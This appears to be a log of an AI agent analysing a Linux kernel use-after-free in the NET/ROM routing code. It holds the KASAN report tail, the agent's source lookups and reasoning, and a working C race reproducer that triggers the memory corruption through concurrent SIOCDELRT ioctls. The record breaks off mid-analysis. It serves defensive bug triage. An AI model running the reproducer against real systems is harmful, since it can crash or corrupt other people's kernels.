 lsm_task_alloc security/security.c:245 [inline]
 security_task_alloc+0x4d/0x330 security/security.c:2683
 copy_process+0x16df/0x3cd0 kernel/fork.c:2205
 kernel_clone+0x248/0x8e0 kernel/fork.c:2653
 user_mode_thread+0x110/0x180 kernel/fork.c:2729
 call_usermodehelper_exec_work+0x5c/0x230 kernel/umh.c:171
 process_one_work kernel/workqueue.c:3276 [inline]
 process_scheduled_works+0xb6e/0x18c0 kernel/workqueue.c:3359
 worker_thread+0xa53/0xfc0 kernel/workqueue.c:3440
 kthread+0x388/0x470 kernel/kthread.c:436
 ret_from_fork+0x51e/0xb90 arch/x86/kernel/process.c:158
page last free pid 849 tgid 849 stack trace:
 reset_page_owner include/linux/page_owner.h:25 [inline]
 __free_pages_prepare mm/page_alloc.c:1433 [inline]
 __free_frozen_pages+0xc2b/0xdb0 mm/page_alloc.c:2978
 vfree+0x25a/0x400 mm/vmalloc.c:3479
 delayed_vfree_work+0x55/0x80 mm/vmalloc.c:3398
 process_one_work kernel/workqueue.c:3276 [inline]
 process_scheduled_works+0xb6e/0x18c0 kernel/workqueue.c:3359
 worker_thread+0xa53/0xfc0 kernel/workqueue.c:3440
 kthread+0x388/0x470 kernel/kthread.c:436
 ret_from_fork+0x51e/0xb90 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245

Memory state around the buggy address:
 ffff888028dc0d80: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
 ffff888028dc0e00: 00 00 00 00 00 00 fc fc fc fc fc fc fc fc fc fc
>ffff888028dc0e80: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
                                        ^
 ffff888028dc0f00: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
 ffff888028dc0f80: 00 00 00 00 00 00 fc fc fc fc fc fc fc fc fc fc
==================================================================

An analysis of the bug and a strategy for reproducing it with a minimal C program.

### Bug Analysis

The bug is a Use-After-Free (UAF) in `nr_neigh_put` caused by a race condition in `nr_del_neigh` within the NET/ROM subsystem.

When `nr_del_neigh` is called (via the `SIOCDELRT` ioctl), it retrieves the neighbour object using `nr_neigh_get_dev`, which increments the object's refcount. It then checks if `nr_neigh->count == 0` **without holding any locks**. If true, it calls `nr_remove_neigh`, which acquires the `nr_neigh_list_lock` and calls `__nr_remove_neigh`.

```c
static inline void __nr_remove_neigh(struct nr_neigh *nr_neigh)
{
	hlist_del_init(&nr_neigh->neigh_node);
	nr_neigh_put(nr_neigh);
}
```

`__nr_remove_neigh` removes the neighbour from the global list and drops the list's reference by calling `nr_neigh_put`. 

If two threads call `nr_del_neigh` concurrently for the same neighbour, they can both retrieve the object and both pass the `count == 0` check. They will then sequentially execute `__nr_remove_neigh`. 
1. The first execution removes the neighbour from the list and drops the list's refcount.
2. The second execution calls `hlist_del_init` (which safely does nothing because the node is already unhashed) but then calls `nr_neigh_put` again, dropping a refcount that does not belong to it.

Finally, both threads call `nr_neigh_put` at the end of `nr_del_neigh` to drop the refcounts they acquired via `nr_neigh_get_dev`. This results in one extra `nr_neigh_put`, dropping the refcount below zero and triggering the UAF.

### Reproduction Strategy

To reproduce this bug, we need to:
1. Create a virtual AX.25 network interface (`ARPHRD_AX25`) and bring it `UP`. This can be done by opening a pseudo-terminal (PTY) and setting its line discipline to `N_AX25` (using the `mkiss` driver).
2. Create an `AF_NETROM` socket to issue routing ioctls.
3. In a tight loop:
   - Add a NET/ROM neighbour using the `SIOCADDRT` ioctl.
   - Spawn two threads that concurrently attempt to delete the same neighbour using the `SIOCDELRT` ioctl.
   - Use spin-wait barriers to align the ioctl calls perfectly and maximize the race window.

### Minimal C Reproducer

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <linux/tty.h>
#include <linux/if.h>
#include <linux/if_arp.h>
#include <linux/sockios.h>
#include <pthread.h>

#include "race_toolkit.h"

#ifndef N_AX25
#define N_AX25 5
#endif

#ifndef AF_NETROM
#define AF_NETROM 6
#endif

struct ax25_address {
    char ax25_call[7];
};

struct nr_route_struct {
#define NETROM_NEIGH 0
#define NETROM_NODE  1
    int type;
    struct ax25_address callsign;
    char device[16];
    unsigned int quality;
    char mnemonic[7];
    struct ax25_address neighbour;
    unsigned int obs_count;
    unsigned int ndigis;
    struct ax25_address digipeaters[8];
};

int netrom_sk;
struct nr_route_struct nr_route;
int barrier = 0;

void *thread_del(void *arg) {
    PIN_TO_CPU((long)arg);
    WAIT_ON(&barrier, 1);
    ioctl(netrom_sk, SIOCDELRT, &nr_route);
    return NULL;
}

int main() {
    SETUP_UNBUFFERED_IO();

    int fd, sfd, sk;
    int ldisc = N_AX25;
    char ifname[IFNAMSIZ];
    struct ifreq ifr;

    /* 1. Create a virtual AX.25 interface using a PTY and N_AX25 line discipline */
    fd = posix_openpt(O_RDWR | O_NOCTTY);
    if (fd < 0) { perror("posix_openpt"); return 1; }
    grantpt(fd);
    unlockpt(fd);
    
    sfd = open(ptsname(fd), O_RDWR | O_NOCTTY);
    if (sfd < 0) { perror("open slave pty"); return 1; }

    if (ioctl(sfd, TIOCSETD, &ldisc) < 0) {
        perror("ioctl(TIOCSETD, N_AX25)");
        fprintf(stderr, "Ensure 'mkiss' module is loaded.\n");
        return 1;
    }

    if (ioctl(sfd, SIOCGIFNAME, ifname) < 0) {
        perror("ioctl(SIOCGIFNAME)");
        return 1;
    }
    printf("Created AX.25 interface: %s\n", ifname);

    /* 2. Bring the interface UP */
    sk = socket(AF_INET, SOCK_DGRAM, 0);
    if (sk < 0) { perror("socket"); return 1; }

    memset(&ifr, 0, sizeof(ifr));
    strncpy(ifr.ifr_name, ifname, IFNAMSIZ);

    if (ioctl(sk, SIOCGIFFLAGS, &ifr) < 0) {
        perror("ioctl(SIOCGIFFLAGS)");
        return 1;
    }

    ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
    if (ioctl(sk, SIOCSIFFLAGS, &ifr) < 0) {
        perror("ioctl(SIOCSIFFLAGS)");
        return 1;
    }

    /* 3. Setup AF_NETROM socket and route struct */
    netrom_sk = socket(AF_NETROM, SOCK_SEQPACKET, 0);
    if (netrom_sk < 0) {
        perror("socket AF_NETROM");
        fprintf(stderr, "Ensure 'netrom' module is loaded.\n");
        return 1;
    }

    memset(&nr_route, 0, sizeof(nr_route));
    nr_route.type = NETROM_NEIGH;
    /* AX.25 callsigns are shifted left by 1 bit */
    nr_route.callsign.ax25_call[0] = 'A' << 1;
    nr_route.callsign.ax25_call[1] = 'B' << 1;
    nr_route.callsign.ax25_call[2] = 'C' << 1;
    nr_route.callsign.ax25_call[3] = 'D' << 1;
    nr_route.callsign.ax25_call[4] = 'E' << 1;
    nr_route.callsign.ax25_call[5] = 'F' << 1;
    nr_route.callsign.ax25_call[6] = (0 << 1);
    strncpy(nr_route.device, ifname, sizeof(nr_route.device));
    nr_route.quality = 100;
    nr_route.ndigis = 0;

    pthread_t t1, t2;

    /* 4. Trigger the race condition */
    TIMER_START(start);
    while (TIMER_NOT_EXPIRED(start, 5.0)) {
        /* Add the neighbour */
        ioctl(netrom_sk, SIOCADDRT, &nr_route);

        barrier = 0;
        pthread_create(&t1, NULL, thread_del, (void *)0);
        pthread_create(&t2, NULL, thread_del, (void *)1);

        usleep(1000);
        SIGNAL(&barrier, 1); /* Release both threads simultaneously */

        pthread_join(t1, NULL);
        pthread_join(t2, NULL);
    }

    close(netrom_sk);
    close(sk);
    close(sfd);
    close(fd);

    return 0;
}
```

gemini-3.1-pro-preview

							input: 7729
							output: 44
							thoughts: 231
						

**Analyzing a KASAN Slab-Use-After-Free Bug in Netrom**

Okay, so I'm looking at a KASAN report, and it looks like we've got a use-after-free issue in `nr_neigh_put`. The stack trace tells the story: it's starting from `nr_neigh_put`, then flows through `nr_del_neigh`, `nr_rt_ioctl`, and finally, `sock_do_ioctl`. The object in question was initially allocated during an `nr_rt_ioctl` call, specifically within `nr_add_neigh` which in turn calls `sock_ioctl`. Interestingly, it was freed through `nr_del_neigh`, also via a call to `nr_rt_ioctl` and subsequently `sock_ioctl`. So, the problem is happening when the program tries to free the memory that was allocated previously. It looks like `nr_neigh_put` is accessing memory that's already been deallocated. Time to dig into `nr_del_neigh` in `net/netrom/nr_route.c`. Let's see how that's managing the neighbors...

map[ContextFile:net/netrom/nr_route.c IncludeLines:true Name:nr_del_neigh]

map[SourceCode: 423:	/*
 424:	 *	"Delete" a neighbour. The neighbour is only removed if the number
 425:	 *	of nodes that may use it is zero.
 426:	 */
 427:	static int nr_del_neigh(ax25_address *callsign, struct net_device *dev, unsigned int quality)
 428:	{
 429:		struct nr_neigh *nr_neigh;
 430:	
 431:		nr_neigh = nr_neigh_get_dev(callsign, dev);
 432:	
 433:		if (nr_neigh == NULL) return -EINVAL;
 434:	
 435:		nr_neigh->quality = quality;
 436:		nr_neigh->locked  = 0;
 437:	
 438:		if (nr_neigh->count == 0)
 439:			nr_remove_neigh(nr_neigh);
 440:		nr_neigh_put(nr_neigh);
 441:	
 442:		return 0;
 443:	}
 SourceFile:net/netrom/nr_route.c]

gemini-3.1-pro-preview

							input: 8582
							output: 88
							thoughts: 49
						

Okay, let's see...

**Investigating a Potential Memory Management Issue**

Hold on a second. This code seems a little fishy. It looks like `nr_remove_neigh` frees `nr_neigh`, which, if true, means we're dealing with a use-after-free scenario. And then, we're calling `nr_neigh_put` on the freed `nr_neigh`. That's a classic recipe for disaster – potentially corrupting memory or leading to a crash. Definitely something to be concerned about and investigate. I need to make sure that assumption is correct, as this could have wide reaching implications for system stability. My next step will be to thoroughly examine the definitions and implementations of both `nr_remove_neigh` and `nr_neigh_put` to confirm or refute my suspicion and understand exactly what's going on.

map[ContextFile:net/netrom/nr_route.c IncludeLines:true Name:nr_remove_neigh]

map[SourceCode: 305:	static void nr_remove_neigh(struct nr_neigh *nr_neigh)
 306:	{
 307:		spin_lock_bh(&nr_neigh_list_lock);
 308:		__nr_remove_neigh(nr_neigh);
 309:		spin_unlock_bh(&nr_neigh_list_lock);
 310:	}
 SourceFile:net/netrom/nr_route.c]

map[ContextFile:net/netrom/nr_route.c IncludeLines:true Name:nr_neigh_put]

map[SourceCode: 137:	static __inline__ void nr_neigh_put(struct nr_neigh *nr_neigh)
 138:	{
 139:		if (refcount_dec_and_test(&nr_neigh->refcount)) {
 140:			if (nr_neigh->ax25)
 141:				ax25_cb_put(nr_neigh->ax25);
 142:			kfree(nr_neigh->digipeat);
 143:			kfree(nr_neigh);
 144:		}
 145:	}
 SourceFile:include/net/netrom.h]

gemini-3.1-pro-preview

							input: 9212
							output: 45
							thoughts: 12
						

Okay, here's my take on those thoughts, tailored for an expert audience, presented in the first person:

**Investigating `__nr_remove_neigh`**

Right, let's dive into this. I've been meaning to revisit the neighbor table handling, and `__nr_remove_neigh` feels like a good starting point. I want to quickly refresh my memory on the critical logic in here. I want to see how this function is handling removal. Is it simply dereferencing the entry and freeing it, or are there any more subtle synchronization issues or corner cases I need to keep in mind? Are there potential races with other functions that might be concurrently accessing or modifying the entry I'm focusing on? I should double check the locking primitives used here, and how they interact with other parts of the netlink and neighbor subsystem. I also want to make sure the function behaves as expected, considering different types of entries (e.g., static, dynamic, permanent). Understanding the removal sequence is key to ensuring consistent and robust behavior of the neighbor table. So, let's get into the details and make sure there are no surprises.

map[ContextFile:net/netrom/nr_route.c IncludeLines:true Name:__nr_remove_neigh]

map[SourceCode: 296:	static inline void __nr_remove_neigh(struct nr_neigh *nr_neigh)
 297:	{
 298:		hlist_del_init(&nr_neigh->neigh_node);
 299:		nr_neigh_put(nr_neigh);
 300:	}
 SourceFile:net/netrom/nr_route.c]

gemini-3.1-pro-preview

							input: 9622
							output: 46
							thoughts: 107
						

**Refcount Deep Dive in the Neighbor Subsystem**

Okay, so I'm looking at this code and it's all about how neighbors are removed and managed, specifically the reference counting. The key functions I'm focusing on are `nr_remove_neigh`, `nr_del_neigh`, and `nr_neigh_get_dev`. First, I see that `nr_remove_neigh` is calling `nr_neigh_put` which is the expected behavior. Now, `nr_del_neigh` has an interesting conditional. It checks if `nr_neigh->count` is zero before calling `nr_remove_neigh`. So, it seems like `nr_remove_neigh` is called only if there are no outstanding references. However, the `nr_neigh_put` is called regardless.

That's when a new thought arises: `nr_neigh_get_dev` also impacts the refcount. I need to be certain about how the device gets the reference, and if there are edge cases. I'm going to look at the implementation of `nr_neigh_get_dev` because that's the function that presumably increments the refcount. It's key to understand how this function interacts with `nr_del_neigh` and `nr_remove_neigh`. The refcount could be the source of subtle, hard-to-debug memory issues. Understanding all scenarios is crucial for ensuring the stability and correctness of this part of the networking stack.

map[ContextFile:net/netrom/nr_route.c IncludeLines:true Name:nr_neigh_get_dev]

map[SourceCode:  60:	static struct nr_neigh *nr_neigh_get_dev(ax25_address *callsign,
  61:						 struct net_device *dev)
  62:	{
  63:		struct nr_neigh *found = NULL;
  64:		struct nr_neigh *nr_neigh;
  65:	
  66:		spin_lock_bh(&nr_neigh_list_lock);
  67:		nr_neigh_for_each(nr_neigh, &nr_neigh_list)
  68:			if (ax25cmp(callsign, &nr_neigh->callsign) == 0 &&
  69:			    nr_neigh->dev == dev) {
  70:				nr_neigh_hold(nr_neigh);
  71:				found = nr_neigh;
  72:				break;
  73:			}
  74:		spin_unlock_bh(&nr_neigh_list_lock);
  75:		return found;
  76:	}
 SourceFile:net/netrom/nr_route.c]

gemini-3.1-pro-preview

							input: 10373
							output: 44
							thoughts: 204
						

Here's my understanding of the refcounting situation, based on this code snippet:

**Refcount Analysis of Neighbor Entry Management**

Okay, so `nr_neigh_get_dev` clearly increments the reference count of the neighbor entry (`nr_neigh`). That's straightforward. Now, `nr_del_neigh` calls `nr_neigh_get_dev` as a part of its execution, meaning that refcount is incremented *again*. This pattern is important to note and potentially confusing. Then, we encounter this conditional block:

```c
	if (nr_neigh->count == 0)
		nr_remove_neigh(nr_neigh);
	nr_neigh_put(nr_neigh);
```

If `nr_neigh->count` is zero, we trigger `nr_remove_neigh`. Inside `nr_remove_neigh`, we call `__nr_remove_neigh`, and that calls `hlist_del_init`, followed immediately by another call to `nr_neigh_put`.  The crucial point here is that `nr_remove_neigh` seems to be responsible for *releasing* the reference that was held by the list itself.

Aha! It's clicking now. The list itself maintains a reference count on the neighbor entry. When `nr_neigh` is added to the list, its refcount is either incremented or initialized to 1. That's why the `nr_remove_neigh` call and its internal calls are there.

Now I need to confirm my assumptions by checking out how `nr_add_neigh` works to confirm that the list does indeed increment the refcount.

map[ContextFile:net/netrom/nr_route.c IncludeLines:true Name:nr_add_neigh]

map[SourceCode: 376:	/*
 377:	 *	Lock a neighbour with a quality.
 378:	 */
 379:	static int __must_check nr_add_neigh(ax25_address *callsign,
 380:		ax25_digi *ax25_digi, struct net_device *dev, unsigned int quality)
 381:	{
 382:		struct nr_neigh *nr_neigh;
 383:	
 384:		nr_neigh = nr_neigh_get_dev(callsign, dev);
 385:		if (nr_neigh) {
 386:			nr_neigh->quality = quality;
 387:			nr_neigh->locked  = 1;
 388:			nr_neigh_put(nr_neigh);
 389:			return 0;
 390:		}
 391:	
 392:		if ((nr_neigh = kmalloc(sizeof(*nr_neigh), GFP_ATOMIC)) == NULL)
 393:			return -ENOMEM;
 394:	
 395:		nr_neigh->callsign = *callsign;
 396:		nr_neigh->digipeat = NULL;
 397:		nr_neigh->ax25     = NULL;
 398:		nr_neigh->dev      = dev;
 399:		nr_neigh->quality  = quality;
 400:		nr_neigh->locked   = 1;
 401:		nr_neigh->count    = 0;
 402:		nr_neigh->number   = nr_neigh_no++;
 403:		nr_neigh->failed   = 0;
 404:		refcount_set(&nr_neigh->refcount, 1);
 405:	
 406:		if (ax25_digi != NULL && ax25_digi->ndigi > 0) {
 407:			nr_neigh->digipeat = kmemdup(ax25_digi, sizeof(*ax25_digi),
 408:						     GFP_KERNEL);
 409:			if (nr_neigh->digipeat == NULL) {
 410:				kfree(nr_neigh);
 411:				return -ENOMEM;
 412:			}
 413:		}
 414:	
 415:		spin_lock_bh(&nr_neigh_list_lock);
 416:		hlist_add_head(&nr_neigh->neigh_node, &nr_neigh_list);
 417:		/* refcount is initialized at 1 */
 418:		spin_unlock_bh(&nr_neigh_list_lock);
 419:	
 420:		return 0;
 421:	}
 SourceFile:net/netrom/nr_route.c]

gemini-3.1-pro-preview

							input: 11738
							output: 42
							thoughts: 706
						

**Analyzing a Potential Race Condition in Network Neighbor Handling**

Okay, so I'm looking at this neighbor management code, and initially, it *seems* correct. We start with `nr_add_neigh` initializing the reference count to 1. `nr_neigh_get_dev` bumps it to 2 when it finds an existing neighbor. Then, `nr_del_neigh` is called. The refcount management looked straightforward at first glance.

But wait a minute, I see something that's making me uneasy. `nr_del_neigh` checks `nr_neigh->count` *without* holding a lock on `nr_neigh_list_lock`. It uses the following logic:

```c
	if (nr_neigh->count == 0)
		nr_remove_neigh(nr_neigh);
```

Then, if `nr_neigh->count` is zero it calls `nr_remove_neigh` which *does* take the `nr_neigh_list_lock` and calls `__nr_remove_neigh`, but that initial check without the lock is making me think there's a problem here.

```c
static void nr_remove_neigh(struct nr_neigh *nr_neigh)
{
	spin_lock_bh(&nr_neigh_list_lock);
	__nr_remove_neigh(nr_neigh);
	spin_unlock_bh(&nr_neigh_list_lock);
}
```

This is where the real potential for trouble lies. The issue is with concurrent calls to `nr_del_neigh`. Here's a scenario:

Let's imagine two threads, Thread 1 and Thread 2, are working on the same `nr_neigh`. `nr_neigh_get_dev` will increment the refcount to 2, then to 3, and each thread is able to call `nr_del_neigh`:

*   Thread 1: `nr_neigh_get_dev` (refcount = 2)
*   Thread 2: `nr_neigh_get_dev` (refcount = 3)
*   Thread 1: `if (nr_neigh->count == 0)` -> true
*   Thread 2: `if (nr_neigh->count == 0)` -> true
*   Thread 1: `nr_remove_neigh` -> takes lock, calls `__nr_remove_neigh`, and calls `nr_neigh_put` which decrements the refcount.
*   Thread 2: `nr_remove_neigh` -> takes lock, calls `__nr_remove_neigh`, and calls `nr_neigh_put` which decrements the refcount.
*   Thread 1: `nr_neigh_put` (refcount = 0, freed!)
*   Thread 2: `nr_neigh_put` (refcount = -1, UAF!)

Thread 1 gets in first and `nr_remove_neigh` is called, which will call `__nr_remove_neigh` and then `nr_neigh_put`, so `nr_neigh` is freed.  Thread 2 is still operating on a structure that is freed, this is a Use-After-Free bug. This is due to the lock not being held when the condition check takes place.

I think the key is `hlist_del_init`, is this safe to call multiple times? `hlist_del_init` could prevent the corruption of the linked list, even if it is called, but we are still left with a UAF problem, because the reference count drops to 0 without holding the lock. I will need to verify the code for `hlist_del_init` to confirm my suspicion regarding the safety of calling it more than once on the same element.

map[ContextFile:include/linux/list.h IncludeLines:true Name:hlist_del_init]

map[SourceCode:1011:	/**
1012:	 * hlist_del_init - Delete the specified hlist_node from its list and initialize
1013:	 * @n: Node to delete.
1014:	 *
1015:	 * Note that this function leaves the node in unhashed state.
1016:	 */
1017:	static inline void hlist_del_init(struct hlist_node *n)
1018:	{
1019:		if (!hlist_unhashed(n)) {
1020:			__hlist_del(n);
1021:			INIT_HLIST_NODE(n);
1022:		}
1023:	}
 SourceFile:include/linux/list.h]

gemini-3.1-pro-preview

							input: 13521
							output: 44
							thoughts: 393
						

**Analyzing a Potential Use-After-Free Vulnerability**

Okay, so `hlist_del_init` has this clever check, `!hlist_unhashed(n)`. That means if you call it on the same node twice, it effectively does nothing the second time. That's good, a defensive mechanism. However, looking at `__nr_remove_neigh`, something catches my eye immediately: it *unconditionally* calls `nr_neigh_put(nr_neigh)` *after* the `hlist_del_init` call:

```c
static inline void __nr_remove_neigh(struct nr_neigh *nr_neigh)
{
	hlist_del_init(&nr_neigh->neigh_node);
	nr_neigh_put(nr_neigh);
}
```

This is where the problem emerges. If `__nr_remove_neigh` gets called twice, the `nr_neigh_put` function is also going to be called twice.  The first time, everything is fine, the reference count is decremented. But the *second* time, `hlist_del_init` will have already removed the node from the hash list, so there shouldn't be a reference on it. The second call to `nr_neigh_put` decrements a reference counter that does *not* belong to this call. This is textbook use-after-free, plain and simple.

Let's verify this potential race. I'm focusing on the `nr_del_neigh` function, called like so:

```c
static int nr_del_neigh(ax25_address *callsign, struct net_device *dev, unsigned int quality)
{
	struct nr_neigh *nr_neigh;

	nr_neigh = nr_neigh_get_dev(callsign, dev);

	if (nr_neigh == NULL) return -EINVAL;

	nr_neigh->quality = quality;
	nr_neigh->locked  = 0;

	if (nr_neigh->count == 0)
		nr_remove_neigh(nr_neigh);
	nr_neigh_put(nr_neigh);

	return 0;
}
```

The key is concurrent calls to `nr_del_neigh` from different threads (Thread 1, Thread 2).  The code in `nr_del_neigh` checks `nr_neigh->count == 0` and, if true, calls `nr_remove_neigh`.  The question is: is there any locking mechanism being used in `nr_del_neigh`? It looks to be called from `nr_rt_ioctl`, so I need to check how it's called and the context in which it's running. If there is no lock, then it's race condition central.

map[ContextFile:net/netrom/nr_route.c IncludeLines:true Name:nr_rt_ioctl]

map[SourceCode: 626:	/*
 627:	 *	Handle the ioctls that control the routing functions.
 628:	 */
 629:	int nr_rt_ioctl(unsigned int cmd, void __user *arg)
 630:	{
 631:		struct nr_route_struct nr_route;
 632:		struct net_device *dev;
 633:		ax25_digi digi;
 634:		int ret;
 635:	
 636:		switch (cmd) {
 637:		case SIOCADDRT:
 638:			if (copy_from_user(&nr_route, arg, sizeof(struct nr_route_struct)))
 639:				return -EFAULT;
 640:			if (nr_route.ndigis > AX25_MAX_DIGIS)
 641:				return -EINVAL;
 642:			if ((dev = nr_ax25_dev_get(nr_route.device)) == NULL)
 643:				return -EINVAL;
 644:			switch (nr_route.type) {
 645:			case NETROM_NODE:
 646:				if (strnlen(nr_route.mnemonic, 7) == 7) {
 647:					ret = -EINVAL;
 648:					break;
 649:				}
 650:	
 651:				ret = nr_add_node(&nr_route.callsign,
 652:					nr_route.mnemonic,
 653:					&nr_route.neighbour,
 654:					nr_call_to_digi(&digi, nr_route.ndigis,
 655:							nr_route.digipeaters),
 656:					dev, nr_route.quality,
 657:					nr_route.obs_count);
 658:				break;
 659:			case NETROM_NEIGH:
 660:				ret = nr_add_neigh(&nr_route.callsign,
 661:					nr_call_to_digi(&digi, nr_route.ndigis,
 662:							nr_route.digipeaters),
 663:					dev, nr_route.quality);
 664:				break;
 665:			default:
 666:				ret = -EINVAL;
 667:			}
 668:			dev_put(dev);
 669:			return ret;
 670:	
 671:		case SIOCDELRT:
 672:			if (copy_from_user(&nr_route, arg, sizeof(struct nr_route_struct)))
 673:				return -EFAULT;
 674:			if ((dev = nr_ax25_dev_get(nr_route.device)) == NULL)
 675:				return -EINVAL;
 676:			switch (nr_route.type) {
 677:			case NETROM_NODE:
 678:				ret = nr_del_node(&nr_route.callsign,
 679:					&nr_route.neighbour, dev);
 680:				break;
 681:			case NETROM_NEIGH:
 682:				ret = nr_del_neigh(&nr_route.callsign,
 683:					dev, nr_route.quality);
 684:				break;
 685:			default:
 686:				ret = -EINVAL;
 687:			}
 688:			dev_put(dev);
 689:			return ret;
 690:	
 691:		case SIOCNRDECOBS:
 692:			return nr_dec_obs();
 693:	
 694:		default:
 695:			return -EINVAL;
 696:		}
 697:	
 698:		return 0;
 699:	}
 SourceFile:net/netrom/nr_route.c]

gemini-3.1-pro-preview

							input: 15649
							output: 24
							thoughts: 470
						

**Analyzing a Potential Race Condition in Network Neighbor Removal**

Okay, so I'm digging into this `nr_rt_ioctl` function, and it looks like it doesn't hold any locks before calling `nr_del_neigh`. That immediately flags a potential concurrency issue – `nr_del_neigh` could definitely be called concurrently with other operations. My immediate thought is to trace the execution path.

Right, `nr_del_neigh` calls `nr_remove_neigh`, which then calls `__nr_remove_neigh`. Let's look closer.

```c
static void nr_remove_neigh(struct nr_neigh *nr_neigh)
{
	spin_lock_bh(&nr_neigh_list_lock);
	__nr_remove_neigh(nr_neigh);
	spin_unlock_bh(&nr_neigh_list_lock);
}
```

```c
static inline void __nr_remove_neigh(struct nr_neigh *nr_neigh)
{
	hlist_del_init(&nr_neigh->neigh_node);
	nr_neigh_put(nr_neigh);
}
```

Okay, here's where it gets interesting. If `__nr_remove_neigh` is called twice, `hlist_del_init` gets called twice, which *should* be safe because it's designed to handle multiple calls (it essentially no-ops on subsequent calls). However, `nr_neigh_put` *also* gets called twice, and *that's* a problem. `nr_neigh_put` reduces the reference count on the neighbor object, and decrementing it twice is not safe. That could lead to a double-free or other memory corruption issues.

Wait, hold on a second! Doesn't `hlist_del_init` itself check if the node is already unhashed? If it is, then the second call should be a no-op, including not decrementing the refcount again. I need to be sure about this.

Alright, let's confirm the behavior of `hlist_del_init`. Ah, yes, looking at the code, `hlist_del_init` itself contains a check for `!hlist_unhashed(n)`. So, the problem isn't within `hlist_del_init` itself. It's that `__nr_remove_neigh` doesn't check if the entry has already been removed before calling `nr_neigh_put`. *That's* the bug!

So the fix would be something like this:

```c
static inline void __nr_remove_neigh(struct nr_neigh *nr_neigh)
{
	if (!hlist_unhashed(&nr_neigh->neigh_node)) {
		hlist_del_init(&nr_neigh->neigh_node);
		nr_neigh_put(nr_neigh);
	}
}
```

This way, `nr_neigh_put` is only called if the neighbor is actually removed from the hash list.

Okay, before I declare victory, let's just make sure there aren't other places in the code that call `__nr_remove_neigh` directly. Need to look for all references to `nr_remove_neigh` and `__nr_remove_neigh` to ensure this is the *only* place this problem exists.

map[Name:__nr_remove_neigh]

map[References:[map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:nr_remove_neigh SourceFile:net/netrom/nr_route.c SourceLine:308] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:nr_rt_device_down SourceFile:net/netrom/nr_route.c SourceLine:543] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:nr_rt_free SourceFile:net/netrom/nr_route.c SourceLine:985]] TruncatedOutput:false]

gemini-3.1-pro-preview

							input: 17052
							output: 90
							thoughts: 21
						

Okay, let's dive into these functions. Here's my understanding, put simply:

**Analyzing `nr_rt_device_down` and `nr_rt_free`**

Alright, I'm focusing in on `nr_rt_device_down` and `nr_rt_free`. My brain immediately starts running through what these might indicate, given the context – I'm expecting these to deal with the teardown of a real-time (RT) device and the release of associated resources, respectively. I'm already anticipating the typical considerations: how gracefully does `nr_rt_device_down` handle errors or unexpected states? What resources does `nr_rt_free` consider, and in which order are they released to avoid creating memory leaks or other race conditions? I'll probably be interested in how the underlying data structures, device driver calls, and any possible synchronization mechanisms are used and implemented. The interplay between them is key. Any potential deadlocks? Let's get to work.

map[ContextFile:net/netrom/nr_route.c IncludeLines:true Name:nr_rt_device_down]

map[SourceCode: 504:	/*
 505:	 *	A device has been removed. Remove its routes and neighbours.
 506:	 */
 507:	void nr_rt_device_down(struct net_device *dev)
 508:	{
 509:		struct nr_neigh *s;
 510:		struct hlist_node *nodet, *node2t;
 511:		struct nr_node  *t;
 512:		int i;
 513:	
 514:		spin_lock_bh(&nr_neigh_list_lock);
 515:		nr_neigh_for_each_safe(s, nodet, &nr_neigh_list) {
 516:			if (s->dev == dev) {
 517:				spin_lock_bh(&nr_node_list_lock);
 518:				nr_node_for_each_safe(t, node2t, &nr_node_list) {
 519:					nr_node_lock(t);
 520:					for (i = 0; i < t->count; i++) {
 521:						if (t->routes[i].neighbour == s) {
 522:							t->count--;
 523:	
 524:							switch (i) {
 525:							case 0:
 526:								t->routes[0] = t->routes[1];
 527:								fallthrough;
 528:							case 1:
 529:								t->routes[1] = t->routes[2];
 530:								break;
 531:							case 2:
 532:								break;
 533:							}
 534:						}
 535:					}
 536:	
 537:					if (t->count <= 0)
 538:						nr_remove_node_locked(t);
 539:					nr_node_unlock(t);
 540:				}
 541:				spin_unlock_bh(&nr_node_list_lock);
 542:	
 543:				nr_remove_neigh_locked(s);
 544:			}
 545:		}
 546:		spin_unlock_bh(&nr_neigh_list_lock);
 547:	}
 SourceFile:net/netrom/nr_route.c]

map[ContextFile:net/netrom/nr_route.c IncludeLines:true Name:nr_rt_free]

map[SourceCode: 964:	/*
 965:	 *	Free all memory associated with the nodes and routes lists.
 966:	 */
 967:	void nr_rt_free(void)
 968:	{
 969:		struct nr_neigh *s = NULL;
 970:		struct nr_node  *t = NULL;
 971:		struct hlist_node *nodet;
 972:	
 973:		spin_lock_bh(&nr_neigh_list_lock);
 974:		spin_lock_bh(&nr_node_list_lock);
 975:		nr_node_for_each_safe(t, nodet, &nr_node_list) {
 976:			nr_node_lock(t);
 977:			nr_remove_node_locked(t);
 978:			nr_node_unlock(t);
 979:		}
 980:		nr_neigh_for_each_safe(s, nodet, &nr_neigh_list) {
 981:			while(s->count) {
 982:				s->count--;
 983:				nr_neigh_put(s);
 984:			}
 985:			nr_remove_neigh_locked(s);
 986:		}
 987:		spin_unlock_bh(&nr_node_list_lock);
 988:		spin_unlock_bh(&nr_neigh_list_lock);
 989:	}
 SourceFile:net/netrom/nr_route.c]

gemini-3.1-pro-preview

							input: 18456
							output: 46
							thoughts: 43
						

Okay, let me think this through.

**Analyzing the Network Removal Sequence**

Okay, first, I see `nr_rt_device_down` calls `nr_remove_neigh_locked(s)`. That's the key function called when a network route device goes down. My immediate reaction is to zero in on `nr_remove_neigh_locked`. I need to understand what's happening within this function to fully grasp the removal process. What does *locked* signify here? Are there synchronization issues that need further investigation? Let me pull up its definition and check it in detail. Understanding what occurs in `nr_remove_neigh_locked` will be crucial to understand the implications of this function call.

log-in to see details

map[ContextFile:net/netrom/nr_route.c IncludeLines:true Name:nr_remove_neigh_locked]

map[SourceCode: SourceFile:]

gemini-3.1-pro-preview

							input: 18716
							output: 25
							thoughts: 97
						

**Debugging a Suspected Network Routing Issue**

